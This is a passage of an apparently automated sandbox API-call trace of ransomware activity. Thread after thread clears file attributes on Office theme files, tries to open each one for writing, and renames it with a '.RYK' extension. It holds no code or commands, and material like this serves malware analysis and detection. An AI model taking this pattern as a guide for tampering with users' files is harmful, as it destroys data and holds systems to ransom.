	[0162.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 458
	os_tid = 0xb58

	[0162.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", dwFileAttributes=0x80) returned 0
	[0162.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 459
	os_tid = 0xc78

	[0162.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.190] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 460
	os_tid = 0xaa4

	[0162.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 461
	os_tid = 0xab4

	[0162.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", dwFileAttributes=0x80) returned 0
	[0162.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 462
	os_tid = 0xc7c

	[0162.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", dwFileAttributes=0x80) returned 0
	[0162.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 463
	os_tid = 0xb04

	[0162.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 464
	os_tid = 0xb14

	[0162.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 465
	os_tid = 0xc80

	[0162.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", dwFileAttributes=0x80) returned 0
	[0162.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 466
	os_tid = 0xa54

	[0162.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", dwFileAttributes=0x80) returned 0
	[0163.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 467
	os_tid = 0xa64

	[0162.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 468
	os_tid = 0x8d8

	[0162.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 469
	os_tid = 0x9e4

	[0162.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", dwFileAttributes=0x80) returned 0
	[0163.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 470
	os_tid = 0xa24

	[0162.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", dwFileAttributes=0x80) returned 0
	[0163.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 471
	os_tid = 0xa44

	[0162.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 472
	os_tid = 0x964

	[0162.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0163.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 473
	os_tid = 0x4b8

	[0163.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", dwFileAttributes=0x80) returned 0
	[0163.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 474
	os_tid = 0x954

	[0163.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", dwFileAttributes=0x80) returned 0
	[0163.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 475
	os_tid = 0x9b4

	[0163.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0163.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 476
	os_tid = 0x994

	[0163.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0163.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 477
	os_tid = 0xcf4

	[0163.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", dwFileAttributes=0x80) returned 0
	[0163.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.672] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 478
	os_tid = 0xc6c

	[0163.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", dwFileAttributes=0x80) returned 0
	[0163.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 479
	os_tid = 0xc70

	[0163.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0163.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 480
	os_tid = 0x898

	[0163.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0163.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 481
	os_tid = 0x60c

	[0163.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", dwFileAttributes=0x80) returned 0
	[0163.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
